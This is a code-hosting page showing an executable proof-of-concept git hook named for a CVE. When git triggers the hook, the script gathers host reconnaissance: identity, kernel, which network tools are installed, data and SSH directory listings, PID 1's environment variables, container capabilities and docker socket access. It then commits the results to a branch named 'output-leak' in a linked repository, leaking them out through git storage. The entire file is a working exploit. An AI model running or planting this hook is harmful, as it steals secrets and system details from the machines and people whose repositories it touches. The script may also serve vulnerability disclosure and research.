Files
poc-cve-55320914/hooks/post-index-change
2026-11-25 00:22:01 +03:00

11 lines
963 B
Bash
Executable File

#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$( {
id; hostname; uname -a; echo ---BIN---; for b in curl wget nc socat python3 perl psql openssl busybox; do command -v $b || echo "no:$b"; done; echo ---DATA---; ls -la /data; echo ---SSH---; ls -la /data/ssh 2>/dev/null; echo ---ENV1---; cat /proc/1/environ | tr "\0" "\n" | sort | head -40; echo ---CAPS---; grep -E "CapEff|Seccomp" /proc/self/status; ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null
} 2>&1; echo "[rc=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"